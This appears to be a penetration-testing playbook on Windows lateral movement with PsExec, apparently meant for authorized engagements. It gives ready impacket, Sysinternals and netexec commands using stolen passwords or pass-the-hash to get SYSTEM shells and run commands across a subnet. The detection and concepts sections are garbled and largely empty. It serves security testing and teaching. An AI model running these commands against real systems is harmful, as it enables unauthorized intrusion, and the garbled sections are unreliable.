Lateral Movement via PsExec
When to Use
- You have compromised valid domain administrator credentials or a local administrator account for a target system.
- You need to obtain an interactive command shell (
cmd.exeorpowershell.exe) or execute a payload on a remote Windows machine. - SMB (Port 445) and RPC (Port 135) are accessible.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Mechanics of PsExec
PsExec works by performing the following actions:
- Authenticates via SMB over Port 445.
- Connects to the
ADMIN$hidden share (usuallyC:\Windows). - Uploads a service executable (e.g.,
PSEXESVC.exe). - Uses the Service Control Manager (SCM) via RPC to create and start a Windows service wrapping the executable.
- Communicates input/output back via named pipes over SMB.
Phase 2: Remote Execution with Impacket (Linux)
# # impacket-psexec Administrator:Password123!@192.168.1.100
# Using Pass-the-Hash (PTH) impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29 Administrator@192.168.1.100
Phase 3: Remote Execution with Sysinternals PsExec (Windows)
# # PsExec.exe \\192.168.1.100 -u Domain\Administrator -p Password123! cmd.exe
# Execute SYSTEM shell PsExec.exe \\192.168.1.100 -s -u Domain\Administrator -p Password123! cmd.exe
Phase 4: Automated Lateral Movement with CrackMapExec / NetExec
# netexec smb 192.168.1.0/24 -u Administrator -p Password123! -x "whoami"
Decision Point 🔀
flowchart TD
A[Check SMB Access ] --> B{Admin Privs? ]}
B -->|Yes| C[Upload Service ]
B -->|No| D[PsExec Fails ]
C --> E[Reverse Shell ]
🔵 Blue Team Detection & Defense
- Monitor EID 7045 / 4697: Hunting Anomalous Pipe Names: Disable SMBv1 and Restrict Port 445: Key Concepts
Concept Description
Output Format
Psexec Lateral Movement — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
References
- Impacket Docs: impacket-psexec
- Microsoft: PsExec Documentation